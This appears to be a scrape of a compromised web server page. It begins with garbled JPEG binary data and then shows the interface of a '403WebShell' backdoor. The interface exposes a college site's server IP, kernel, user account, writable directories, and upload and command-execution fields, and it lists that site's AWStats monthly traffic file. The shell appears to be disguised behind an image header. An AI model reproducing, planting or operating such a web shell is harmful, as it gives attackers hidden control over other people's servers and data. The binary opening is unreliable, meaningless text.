JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.90
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/tmp/awstats/ssl/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/tmp/awstats/ssl/awstats062024.dbcollege.ac.in.txt
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202406 will be lost/reset.
# Last config file used to build this data file was /home/dbcollege/tmp/awstats/ssl/awstats.dbcollege.ac.in.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2017                
POS_TIME 2699                
POS_VISITOR 15145               
POS_DAY 34215               
POS_DOMAIN 3631                
POS_LOGIN 4293                
POS_ROBOT 4448                
POS_WORMS 4963                
POS_EMAILSENDER 5094                
POS_EMAILRECEIVER 5237                
POS_SESSION 35097               
POS_SIDER 35307               
POS_FILETYPES 5372                
POS_DOWNLOADS 5725                
POS_OS 6993                
POS_BROWSER 7319                
POS_SCREENSIZE 8742                
POS_UNKNOWNREFERER 8816                
POS_UNKNOWNREFERERBROWSER 9529                
POS_ORIGIN 9796                
POS_SEREFERRALS 9939                
POS_PAGEREFS 10174               
POS_SEARCHWORDS 10322               
POS_KEYWORDS 10474               
POS_MISC 2363                
POS_ERRORS 10533               
POS_CLUSTER 4149                
POS_SIDER_404 10655               
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240701000344 121 31109 14964254387365
FirstTime 20240601064911
LastTime 20240630194439
LastUpdate 20240701121634 121 0 120 0 0
TotalVisits 695                 
TotalUnique 447                 
MonthHostsKnown 0                   
MonthHostsUnknown 479                 
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
RealPlayerSupport 0 0 0
DirectorSupport 0 0 0
JavaEnabled 0 0 0
JavascriptDisabled 0 0 0
WindowsMediaPlayerSupport 0 0 0
FlashSupport 0 0 0
TotalMisc 0 0 0
PDFSupport 0 0 0
AddToFavourites 0 0 0
QuickTimeSupport 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 7 46 4020794 78 92 1554894
1 53 407 32927247 116 172 3187281
2 18 83 5264614 110 200 5247713
3 51 216 17435492 118 185 4721292
4 69 508 44267839 135 177 2801602
5 96 632 50359996 131 165 1047430
6 86 613 52387898 144 195 2113823
7 67 368 30478287 112 163 1929825
8 134 682 48964100 143 232 3579597
9 130 368 20390851 157 203 1916895
10 73 371 23696392 113 146 1314046
11 51 417 35044423 122 189 2637602
12 41 197 14520123 103 179 3525343
13 68 340 27980039 99 147 3940030
14 61 404 34431750 148 213 2277193
15 41 354 30007808 118 241 4251172
16 89 379 30379786 110 190 4605917
17 46 283 22679274 100 128 1897802
18 27 102 8604435 101 129 2335928
19 36 90 6000574 94 126 3653104
20 29 84 6097384 133 153 2930313
21 7 8 643330 98 145 5865306
22 17 56 4394765 99 128 3290174
23 11 11 256940 85 143 3294869
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 29
us 656 2968 233788957
in 393 3462 278997835
pl 77 77 1837721
br 20 20 505900
bg 20 20 504080
de 19 44 2620824
ru 14 40 3134479
it 14 15 379425
au 10 10 194345
se 10 10 252859
vn 9 9 123347
cn 8 8 133964
ro 7 7 107587
sa 6 6 82292
ua 5 5 86776
be 4 8 467054
fr 4 21 2099881
bd 4 58 5256750
np 4 43 3955014
jp 3 56 5527859
ir 3 28 2353453
cl 3 17 1954800
ca 3 41 3433914
mn 3 3 58129
ar 2 2 19046
nl 1 1 25295
qa 2 36 3239987
gb 2 2 42069
ch 2 2 50499
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 9
facebookexternalhit/ 1453 26785743 20240630104542 0
bingbot/ 307 11727481 20240630213556 0
Googlebot/ 296 18853397 20240630205543 0
feed 111 5370363 20240630231649 0
Applebot/ 61 2464471 20240630223533 0
Googlebot\-Image/ 27 3096802 20240629145554 0
no_user_agent 26 2097937 20240630200504 0
bot[\s_+:,\.\;\/\\-] 10 517735 20240629174618 0
Go\-http\-client/ 2 50590 20240627073023 0
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 14
jpeg 412 26373172 0 0
woff2 164 11790944 0 0
php 969 20072500 0 0
gif 159 233889 0 0
js 1265 36992597 0 0
html 16 172917 0 0
woff 2 436608 0 0
jpg 1519 317845285 0 0
css 1013 51925925 0 0
xml 143 3614091 0 0
txt 1 25295 0 0
png 1318 68339779 0 0
pdf 24 12936525 0 0
Unknown 14 474614 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 9
/web/admin/pdf/202110091155042021100911542620211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 10 0 5152360
/web/admin/pdf/20211010012124240-core-java-interview-questions-and-answers.pdf 8 0 4121888
/web/admin/pdf/2021100911553920211009115519202110091155042021100911542620211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 6 0 3091416
/web/admin/pdf/2021100911542620211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 6 0 3091416
/web/admin/pdf/20211009115519202110091155042021100911542620211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 6 0 3091416
/web/admin/pdf/20211010014513ID%20Card.pdf 6 0 4233138
/web/admin/pdf/20211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 5 0 2576180
/web/admin/pdf/202110091154492021100911542620211009115226pdf20211008112956pdf20211008034253pdf20211007093406240-core-java-interview-questions-and-answers.pdf 4 0 2060944
/web/index.php/wp-includes/ID3/license.txt 1 0 25295
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 18
linux 83 28
macosx10 1 1
ios_iphone 45 6
android 199 22
unix 1 1
win7 22 7
android10 4187 419
androidpie 2 0
win10 2024 549
Unknown 215 200
linuxubuntu 2 2
win8.1 1 1
macosx9 16 2
winnt 3 3
macosx15 207 64
macosx13 2 2
androidmarshmallow 8 0
androidnougat 1 1
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 63
chrome100.0.4896.127 1 1
chrome83.0.4103.97 4 4
chrome108.0.0.0 3 3
chrome106.0.0.0 3 3
chrome89.0.4389.82 4 2
chrome125.0.6422.168 1 0
chrome80.0.3987.149 20 20
chrome124.0.0.0 211 23
chrome95.0.4638.69 15 14
chrome118.0.0.0 46 3
Unknown 184 184
safari 1 1
chrome105.0.0.0 6 6
chrome78.0.3904.108 40 40
chrome87.0.4280.141 21 3
chrome117.0.0.0 3 3
firefox122.0 1 1
chrome111.0.0.0 38 2
chrome107.0.0.0 7 7
chrome115.0.0.0 40 4
chrome83.0.4103.7 2 2
firefox123 1 1
chrome89.0.4389.114 95 95
safari10.0 2 2
chrome104.0.0.0 8 8
chrome114.0.5814.214 3 3
chrome66.0.3359.181 2 2
chrome39.0.2171.95 1 1
chrome122.0.6261.94 39 3
chrome76.0.3809.100 2 2
chrome126.0.0.0 2032 263
chrome114.0.0.0 40 2
firefox116. 1 1
chrome127.0.0.0 2 2
chrome121.0.0.0 305 50
firefox103.0 1 1
chrome125.0.0.0 2994 388
chrome120.0.0.0 52 16
chrome100.0.4896.88 1 1
chrome101.0.4951.67 5 5
chrome101.0.4951.64 4 4
chrome60.0.3112.107 1 1
chrome55.0.2919.34 16 2
firefox115.0 2 2
chrome120.0.6099.71 3 3
chrome125.0.6422.141 11 0
chrome91.0.4472.114 2 2
chrome94.0.4606.85 43 4
chrome122.0.0.0 239 28
chrome110.0.0.0 8 8
firefox63.0 1 1
chrome109.0.0.0 80 10
chrome123.0.0.0 241 33
mozilla 20 16
chrome112.0.5615.136 1 1
chrome119.0.0.0 3 3
safari17.5 42 3
chrome117.0.5938.132 3 3
chrome126.0.6478.71 1 0
chrome125.0.6422.165 44 2
chrome125.0.6422.175 7 0
chrome78.0.3904.62 2 2
opera106.0.0.0 8 8
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 9
Mozilla/5.0_(compatible;_InternetMeasurement/1.0;__https://internet-measurement.com/) 20240630085204
python-requests/2.26.0 20240606035354
python-requests/2.24.0 20240604230712
python-requests/2.32.2 20240613133055
Mozilla/5.0_AppleWebKit/537.36_(KHTML,_like_Gecko;_compatible;_GoogleOther)_Chrome/125.0.6422.175_Safari/537.36 20240618145953
Python/3.10_aiohttp/3.9.3 20240624171043
Mozilla/5.0_AppleWebKit/537.36_(KHTML,_like_Gecko;_compatible;_GoogleOther)_Chrome/125.0.6422.141_Safari/537.36 20240605184102
